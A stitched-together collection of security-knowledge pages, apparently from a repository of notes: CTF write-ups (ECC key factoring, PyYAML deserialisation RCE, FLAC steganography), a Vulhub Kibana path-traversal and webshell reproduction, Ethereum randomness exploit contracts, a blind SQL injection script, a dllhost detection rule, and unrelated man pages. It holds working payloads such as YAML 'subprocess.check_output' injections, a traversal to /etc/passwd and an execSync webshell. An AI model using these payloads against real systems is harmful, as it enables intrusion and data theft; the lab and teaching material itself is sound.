# full payload: 'ef9e8dd834ffbabea6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b286c2c6a6d5c697b2860a00'
# only prefix
return 'ef9e8dd834ffbabea6d5'.decode('hex')
def main():
url = "4ff0eff1d46c1d74d152aaf36de6f2799020bdbc.ctf.site"
port = 50000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
sleep(1)
s.sendall(encode())
sleep(1)
received = s.recv(9999)
print(received)
print(received.encode("hex"))
main()
```
`EKO{1m_bl33d1ng_byt35}`
|
sec-knowleage
|
pico
===
功能强大全屏幕的文本编辑器
## 补充说明
**pico命令** 是功能强大全屏幕的文本编辑器。pico的操作简单,提供了丰富的快捷键。常用的快捷键如下:
```shell
Ctrl+G:获得pico的帮助信息;
Ctrl+O:保存文件内容,如果是新文件,需要输入文件名;
Ctrl+R:在当前光标位置插入一个指定的文本文件内容;
Ctrl+Y:向前翻页;
Ctrl+V:向后翻页;
Ctrl+w:对文件进行搜索;
Ctrl+K:剪切当前文件行到粘贴缓冲区;
Ctrl+U:粘贴缓冲区中的内容到当前光标所在位置;
Ctrl+C:显示当前光标位置;
Ctrl+T:调用拼写检查功能,对文档进行拼写检查;
Ctrl+J:段落重排;
Ctrl+X:退出,当文件内容发生改变时,提供是否保存修改。
```
### 语法
```shell
pico(选项)(参数)
```
### 选项
```shell
-b:开启置换的功能;
-d:开启删除的功能;
-e:使用完整的文件名称;
-f:支持键盘上F1、F2...功能键;
-g:显示光标;
-h:在线帮助;
-j:开启切换的功能;
-k:预设pico在使用剪下命令时,会把光标所在的列的内容全部删除;
-m:开启鼠标支持的功能,您可用鼠标点选命令列表;
-n<间隔秒数>:设置多久检查一次新邮件;
-o<工作目录>:设置工作目录;
-q:忽略预设值;
-r<编辑页宽>:设置编辑文件的页宽;
-s<拼字检查器>:另外指定拼字检查器;
-t:启动工具模式;
-v:启动阅读模式,用户只能观看,无法编辑文件的内容;
-w:关闭自动换行,通过这个参数可以编辑内容很长的列;
-x:关闭页面下方的命令列表;
-z:让pico可被Ctrl+z中断,暂存在后台作业里;
+<列表编号>:执行pico指令进入编辑模式时,从指定的列数开始编辑。
```
### 参数
文件:指定要编辑的文件。
|
sec-knowleage
|
## Races (Crypto, 189p)
###ENG
[PL](#pl-version)
In the task we get a [source code](RACES.py) of ECC encryption, and also a [file](pubkey_enc.txt) with multiple public keys and flag encrypted using different keys.
The encryption itself is textbook so no vulnerabilities there but if we look at the key generation code we have:
```python
def gen_prime(nbit):
while True:
prime = getPrime(nbit)
if prime % 3 == 2:
return prime
```
This means that we exclude 2/3 of the primes!
Since we have a lot of public keys we decided to checks if by any chance it didn't happen that two public keys share a common factor.
In such case calculating GCD of those two keys will give us the common prime:
```python
import codecs
import re
import itertools
import gmpy2
def find_repeated_prime():
with codecs.open("./pubkey_enc.txt") as input_file:
ns = [re.findall("e\) = \((\d+)", line)[0] for line in input_file]
for pair in itertools.combinations(ns, 2):
if gmpy2.gcd(long(pair[0]), long(pair[1])) != 1:
print(pair)
return pair
n1, n2 = find_repeated_prime()
p = long(gmpy2.gcd(long(n1), long(n2)))
q1 = long(n1) / p
q2 = long(n2) / p
print(p, q1, q2)
```
And we were lucky, because we got two public keys sharing the same prime, which means we successfully factored those two keys.
Now the only thing left to do was to recover the private key:
```python
n = 145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843L
p = 13101261334925358356052012802088920395535884660597547763946806535628065670277915852917356305443939004844164299871676780335359374939404036920480708592902391L
q = n / p
assert (p * q == n)
e = 65537
c = (84876076421614376067149365902722288787017939432560112310344060253776893355155004799570079133487890091744927361496759572955051910756381500540609425582325044679541917701176783432330786945586473421496533459046926087433374002572145804591821522550941784213497101941864710192882108942428579695906987627994038160506L, 53075793789885196175396474745354653894462035118379186161754018180061911263633656154635135006901226712322309187026865430527729260554951872682683031998933681813562644904853338601687712543027240467179318352856177931746928027694032725413016073749325323908751643659718884095101708806519753380797321211563244283733L)
lcm = gmpy2.lcm((p+1), (q+1))
d = gmpy2.invert(e, lcm)
print(d)
```
And use it to decrypt the flag:
```python
p0, p1 = multiply(c, d, n)
print long_to_bytes(p1 - p0)
```
###PL version
W zadaniu dostajemy [kod](RACES.py) szyfrowania metodą krzywych eliptycznuch oraz [plik](pubkey_enc.txt) z zestawem kluczy publicznych oraz flag szyfrowanych różnymi kluczami.
Kod szyfrowania jest książkowy więc nie spodziewaliśmy się tam podatności, ale algorytm generacji klucza jest ciekawy:
```python
def gen_prime(nbit):
while True:
prime = getPrime(nbit)
if prime % 3 == 2:
return prime
```
To oznacza ze odrzucamy 2/3 liczb pierwszych z zakresu!
Ponieważ mamy pod ręką dużo kluczy publicznych postawiliśmy sprawdzić czy może akurat przypadkiem dwa z nich nie współdzielą czynnika.
W takiej sytuacji licząc największy wspólny dzielnik tych dwóch kluczy uzyskamy wspólny czynnik pierwszy:
```python
import codecs
import re
import itertools
import gmpy2
def find_repeated_prime():
with codecs.open("./pubkey_enc.txt") as input_file:
ns = [re.findall("e\) = \((\d+)", line)[0] for line in input_file]
for pair in itertools.combinations(ns, 2):
if gmpy2.gcd(long(pair[0]), long(pair[1])) != 1:
print(pair)
return pair
n1, n2 = find_repeated_prime()
p = long(gmpy2.gcd(long(n1), long(n2)))
q1 = long(n1) / p
q2 = long(n2) / p
print(p, q1, q2)
```
Mieliśmy szczęście, bo faktycznie dwa klucze publiczne współdzieliły czynnik pierwszy, co oznacza, że z powodzeniem dokonaliśmy faktoryzacji tych kluczy.
Teraz pozostało jedynie odzyskać klucz prywatny:
```python
n = 145027482789690990262517750951541446221552255560520228703877313431483316741269117323705124775232890171059397344533125793378274261538984168613648947111600523237940505464340771538677343847823054950559536582762094561232606689017946799356626447164268129816358964385649508992872978250974645830516100018108294421843L
p = 13101261334925358356052012802088920395535884660597547763946806535628065670277915852917356305443939004844164299871676780335359374939404036920480708592902391L
q = n / p
assert (p * q == n)
e = 65537
c = (84876076421614376067149365902722288787017939432560112310344060253776893355155004799570079133487890091744927361496759572955051910756381500540609425582325044679541917701176783432330786945586473421496533459046926087433374002572145804591821522550941784213497101941864710192882108942428579695906987627994038160506L, 53075793789885196175396474745354653894462035118379186161754018180061911263633656154635135006901226712322309187026865430527729260554951872682683031998933681813562644904853338601687712543027240467179318352856177931746928027694032725413016073749325323908751643659718884095101708806519753380797321211563244283733L)
lcm = gmpy2.lcm((p+1), (q+1))
d = gmpy2.invert(e, lcm)
print(d)
```
I użyć go do deszyfrowania flagi:
```python
p0, p1 = multiply(c, d, n)
print long_to_bytes(p1 - p0)
```
|
sec-knowleage
|
# Kibana Local File Inclusion (CVE-2018-17246)
[中文版本(Chinese Version)](README.zh-cn.md)
Kibana is an open source data visualization dashboard for Elasticsearch.
Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
## Setup
Start the Kibana 5.6.12 and Elasticsearch 5.6.16:
```
docker compose up -d
```
After started the environment, the Kibana is listening on `http://your-ip:5106`.
## Vulnerability Reproduce
Send the following request to trigger a basic path traversal:
```
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
```
Though there is nothing response except a error message with the 500 status code, you can see the exception in the `docker compose logs`:

File `/etc/passwd` is imported successfully.
To exploit this vulnerability, you need to upload a JavaScript webshell to the machine where the Kibana is running, then include it.
```js
// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
```

|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: exit.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: exit.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH exit 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
exit \- 结束应用(程序)
.SH "总览 SYNOPSIS"
\fBexit \fR?\fIreturnCode\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
终止进程,向系统返回 \fIreturnCode\fR作为退出状态。如果没指定 \fIreturnCode\fR 则它缺省为 0。
.SH "参见 SEE ALSO"
exec(n), tclvars(n)
.SH "关键字 KEYWORDS"
exit, process
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Resume.yml
* Category: Web
* 150 Points
* Solved by the JCTF Team
## Description
> Writing your resume on word is for rookies.
>
> Real programmers use yaml.
>
> I hope I don't have any bugs
## Solution
As the name suggests, the attached website allowed entering a resume formatted in YAML and submitting it to a service which translates it to HTML.
For example, the following YAML structure:
```yaml
profile:
name: Sebastian Hanula
label: Software engineer
email: sebastian.hanula@gmail.com
phone: +48 693 320 358
birth: 10-02-1983
address: Myślenice, Poland
```
Got translated (more or less) to the following HTML structure:
```html
<div class="header">
<div class="col-md-6 col-sm-12">
<h1>Sebastian Hanula</h1>
<h3>Software engineer</h3>
</div>
</div>
<div class="">
<div class="col-md-6 col-sm-12">
<dl class="contacts dl-horizontal">
<dt>Address:</dt>
<dd>Myślenice, Poland</dd>
<dt>Phone:</dt>
<dd>+48 693 320 358</dd>
<dt>Email:</dt>
<dd>
<a href="mailto:sebastian.hanula@gmail.com">
sebastian.hanula@gmail.com
</a>
</dd>
</dl>
</div>
</div>
```
The obvious next step is to try and understand how to execute code via YAML. A search suggests [PyYAML](https://pyyaml.org/wiki/PyYAMLDocumentation), with syntax such as:
| YAML tag | Python type |
| --- | --- |
| `!!python/name:module.name` | `module.name` |
| `!!python/module:package.module` | `package.module` |
| `!!python/object:module.cls` | `module.cls instance` |
| `!!python/object/new:module.cls` | `module.cls instance` |
| `!!python/object/apply:module.f` | `value of f(...)` |
We can try:
```yaml
profile:
name: !!python/object/apply:os.system ["ls"]
```
Which just sets the name to `0` (the process return address).
A better choice is:
```yaml
profile:
name: !!python/object/apply:subprocess.check_output ["ls"]
```
which sets the name to "`b'flag\nmain.py\nrequirements.txt\ntemplates\n'`".
We want the flag, so let's try:
```yaml
profile:
name: !!python/object/apply:subprocess.check_output [["cat", "flag"]]
```
And we get the flag: `AppSec-IL{1-W4n73D-N1c3-CV-1-907-N1c3-Rc3}`
|
sec-knowleage
|
# Randomness
本节讨论以太坊中的随机数问题。由于所有以太坊节点在验证交易时,需要计算出相同的结果以达成共识,因此 EVM 本身无法实现真随机数的功能。至于伪随机数,其熵源也是只能是确定值。下面讨论各种随机数的安全性,并介绍回滚攻击。
## 使用私有变量的伪随机数
### 原理
合约使用外界未知的私有变量参与随机数生成。虽然变量是私有的,无法通过另一合约访问,但是变量储存进 storage 之后仍然是公开的。我们可以使用区块链浏览器(如 etherscan)观察 storage 变动情况,或者计算变量储存的位置并使用 Web3 的 api 获得私有变量值,然后计算得到随机数。
### 例子
```solidity
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
```
直接使用 `web3.eth.getStorageAt` 确定参数调用即可
```
web3.eth.getStorageAt(ContractAddress, "1", function(x,y){console.info(y);})
```
## 外部参与的随机数
### 原理
随机数由其他服务端生成。为了确保公平,服务端会先将随机数或者其种子的哈希写入合约中,然后待用户操作之后再公布哈希对应的明文值。由于明文空间有 256 位,这样的随机数生成方法相对安全。但是在明文揭露时,我们可以在状态为 pending 的交易中找到明文数据,并以更高的 gas 抢在之前完成交易确认。
## 使用区块变量的伪随机数
### 原理
EVM 有五个字节码可以获取当前区块的变量,包括 coinbase、timestamp、number、difficulty、gaslimit。这些变量对矿工来说,都是已知或者可操控的,因此在私有链部署的题目中,可以作为恶意的矿工控制随机数的结果。在公开的链如 Ropsten 上,这个方法就不太可行,但我们也可以编写攻击合约,在攻击合约中获取到相同的区块变量值,进一步用相同的算法得到随机数值。
### 例子
```solidity
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
```
- 代码处理流程为:
- 获得上一块的 hash 值
- 判断与之前保存的 hash 值是否相等,相等则会退
- 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断
以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。
所以编写如下攻击脚本,调用 10 次 `exploit()` 即可
```solidity
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address instance_address = ContractAddress;
CoinFlip c = CoinFlip(instance_address);
function exploit() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}
```
### 题目
- 0CTF Final 2018 : ZeroLottery
## 使用 Blockhash 的伪随机数
### 原理
Blockhash 是一个特殊的区块变量,EVM 只能获取到当前区块之前的 256 个区块的 blockhash (**不含当前区块**),对于这 256 个之外的区块返回 0。使用 blockhash 可能存在几种问题。
1. 误用,如 `block.blockhash(block.number)` 恒为零。
2. 使用过去区块的有效 blockhash ,可以编写攻击合约获取相同值。
3. 将猜数字和开奖的交易分开在两个不同区块中,并且使用猜数字时还不知道的某个区块的 blockhash 作为熵源,则可以等待 256 个区块后再进行开奖,消除 blockhash 的不确定性。
### 题目
- [Capture The Ether](https://capturetheether.com/challenges/) : Predict the block hash、Guess the new number
- 华为云安全 2020 : ethenc
## 回滚攻击
### 原理
在某些情况下,获取随机数可能过于困难或繁琐,这时可以考虑使用回滚攻击。回滚攻击的思想很简单:完全碰运气,输了就“耍赖”,通过抛出异常使整个交易回滚不作数;赢的时候则不作处理,让交易被正常确认。
### 例子
这里以 0ctf 2018 ZeroLottery 为例,部分关键代码如下。其中 `n` 为随机数,并且省略了其生成方式,但我们知道它的范围是 0 至 7。
```solidity
contract ZeroLottery {
...
mapping (address => uint256) public balanceOf;
...
function bet(uint guess) public payable {
require(msg.value > 1 ether);
require(balanceOf[msg.sender] > 0);
uint n = ...;
if (guess != n) {
balanceOf[msg.sender] = 0;
// charge 0.5 ether for failure
msg.sender.transfer(msg.value - 0.5 ether);
return;
}
// charge 1 ether for success
msg.sender.transfer(msg.value - 1 ether);
balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
}
...
}
```
可以观察到题目合约在我们猜对或猜错时收费不同,分别为 1 ether 或 0.5 ether ,我们猜数时多给的钱会转账还给我们。结合智能合约收到转账时会调用 fallback 函数的知识点,假设每次使用 2 ether 去猜数,如果 fallback 函数收到 1.5 ether 就回滚。我们可以固定一个数字一直猜,只有猜对的交易才会被确认。
```solidity
function guess() public {
task.bet.value(2 ether)(1);
}
function () public payable {
require(msg.value != 1.5 ether);
}
```
并不是所有题目都涉及转账操作,但是通常都会有一个变量象征着正确次数等,ZeroLottery 中就有 `balanceOf[msg.sender]` 在猜对时会增加,猜错时清零,也可以通过它判断是否猜对。
```solidity
function guess() public {
task.bet.value(2 ether)(1);
require(task.balanceOf(this));
}
```
以上两种方法都是选定一个数字重复猜测,在本题八分之一的概率之下猜对五次获胜,需要大约 40 笔交易才能完成。由于同一个区块中产生的随机数往往相同,我们可以稍作改进,在每个区块中将所有八种可能都猜测一遍,其中必定包含正确的数字。进一步,如果在单笔交易中连续猜五次,那么只需要有一笔交易成功确认就可以完成题目要求。实际上因为题目合约的 `bet` 函数自带了 `balanceOf` 非零的检查,如果我们连猜多次,失败了也会自动回滚。
### 题目
- 0ctf final 2018 : ZeroLottery
!!! note
注:题目附件相关内容可至 [ctf-challenges/blockchain](https://github.com/ctf-wiki/ctf-challenges/tree/master/blockchain) 仓库寻找。
|
sec-knowleage
|
import requests, string, random, time
#curl 'http://qu0t453gelwwjl3vxzltjxwww-abuse.web.ctfcompetition.com/login'
#--data 'password=CTF%7Bqu0t45aaaaaaaaaaaaaaaawww-aaaaaaaaaaaaaaaaaaaaaaaa
# aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%7D&user=admin%27%20AND%20password%3e%20%27AAA' -v
a=random.choice(string.lowercase)
a+=random.choice(string.lowercase)
a+=random.choice(string.lowercase)
prefix = "qu0t453g3w"+a+"reaxoltjxwww-"
print prefix
def isbigger(p):
while True:
try:
print p
r=requests.post("http://"+prefix+"abuse.web.ctfcompetition.com/login",
data={"password": "xx", "user":
"admin' AND password > '" + p},
allow_redirects=False, headers={})
l=r.headers["Location"]
print l
return "password" in l
except:
print "Throttle", time.time()
time.sleep(10)
return None
window = 32
hits = []
errs = []
s="CTF{"+prefix
while True:
charset=sorted(string.letters+string.digits+"_-")
l=0
r=len(charset)
while l+1!=r:
while len(hits)>=13 or len(errs)>=2:
time.sleep(0.1)
hits = [hit for hit in hits if hit>time.time()-window]
errs = [err for err in errs if err>time.time()-window]
print len(hits), len(errs)
m=l+(r-l)*90/100
if m<=l:
m=l+1
elif m>=r:
m=r-1
c=charset[m]
ss=s+c+" "*20
q=isbigger(ss)
if q is None:
continue
hits.append(time.time())
if q:
errs.append(time.time())
l=m
else:
r=m
s+=charset[l]
|
sec-knowleage
|
# T1546-015-win-组件对象模型劫持-Dllhost.exe(白名单)
## 来自ATT&CK描述
攻击者可以通过执行由对组件对象模型 (COM) 对象的劫持引用触发的恶意内容来建立持久性。COM是Windows中的一个系统,用于通过操作系统实现软件组件之间的交互。对各种COM对象的引用存储在注册表中。
攻击者可以使用COM系统插入恶意代码,这些代码可以通过劫持COM引用和关系作为持久性手段来代替合法软件执行。劫持COM对象需要更改注册表以替换对合法系统组件的引用,这可能导致该组件在执行时无法工作。当通过正常系统操作执行该系统组件时,将执行对手的代码。攻击者可能会劫持经常使用的对象以保持一致的持久性水平,但不太可能破坏系统内的明显功能,以避免可能导致检测的系统不稳定。
## 测试案例
dllhost.exe是微软Windows操作系统的一部分。dllhost.exe用于管理DLL应用。这个程序对你系统的正常运行是非常重要的。dllhost.exe是运行COM+的组件,即COM代理,运行Windows中的Web和FTP服务器必须有该进程。
路径:
```
- C:\Windows\System32\dllhost.exe
- C:\Windows\SysWOW64\dllhost.exe
```
使用dllhost.exe加载已注册或被劫持的COM服务器负载。
```
dllhost.exe /Processid:{CLSID}
```
用例:执行DLL代理COM对象。
所需权限:用户
操作系统:Windows 10(可能还有以前的版本)
## 检测日志
Windows 安全日志
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
参考Sigma官方规则:
```yml
title: Dllhost Internet Connection
id: cfed2f44-16df-4bf3-833a-79405198b277
status: experimental
description: Detects Dllhost that communicates with public IP addresses
references:
- https://github.com/Neo23x0/sigma/blob/master/rules/windows/network_connection/sysmon_rundll32_net_connections.yml
author: bartblaze
date: 2020/07/13
modified: 2020/08/24
tags:
- attack.defense_evasion
- attack.t1218
- attack.execution
- attack.t1559.001
- attack.t1175 # an old one
logsource:
category: network_connection
product: windows
detection:
selection:
Image|endswith: '\dllhost.exe'
Initiated: 'true'
filter:
DestinationIp|startswith:
- '10.'
- '192.168.'
- '172.16.'
- '172.17.'
- '172.18.'
- '172.19.'
- '172.20.'
- '172.21.'
- '172.22.'
- '172.23.'
- '172.24.'
- '172.25.'
- '172.26.'
- '172.27.'
- '172.28.'
- '172.29.'
- '172.30.'
- '172.31.'
- '127.'
condition: selection and not filter
falsepositives:
- Communication to other corporate systems that use IP addresses from public address spaces
level: medium
```
## 参考推荐
MITRE-ATT&CK-T1546-015
<https://attack.mitre.org/techniques/T1546/015>
Dllhost.exe
<https://lolbas-project.github.io/lolbas/Binaries/Dllhost/>
|
sec-knowleage
|
## lily.flac (misc, 2 points, 28 solves)
more than just a few bleebs ;)
In this task we were given a FLAC file containg a, somewhat weird, music. Looking at it
in Audacity, we noticed that there is a very different spectrum in the beginning and end of
the file - so there was probably some data hidden. We converted the file to wav, since it's
easier to work with uncompressed data.
Looking at the first couple of hundred of bytes, we notice there are a lot of 0x80 and 0x7f
bytes. In 8-bit wav, they mean a very quiet sound, but since we suspected the file to contain
hidden binary data, we thought they would mean 0x00 and 0xFF bytes, respectively - as though
they got xored with 0x80 (in the hindsight, it seems to be just the fact that wav files contain
*signed* data, which shifts all the values by aforementioned 0x80).
Xoring the wav with 0x80, we found that the first bytes of sound data are now:
`\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00` - an ELF! We stripped wav header from the file and
ran the ELF, which in turn gave us the flag.
|
sec-knowleage
|
version: '2.2'
services:
web:
image: vulhub/jetty:9.4.37
ports:
- "8080:8080"
volumes:
- ./src:/opt/jetty/webapps/ROOT
|
sec-knowleage
|
## 解释器(Interpreter)
### Intent
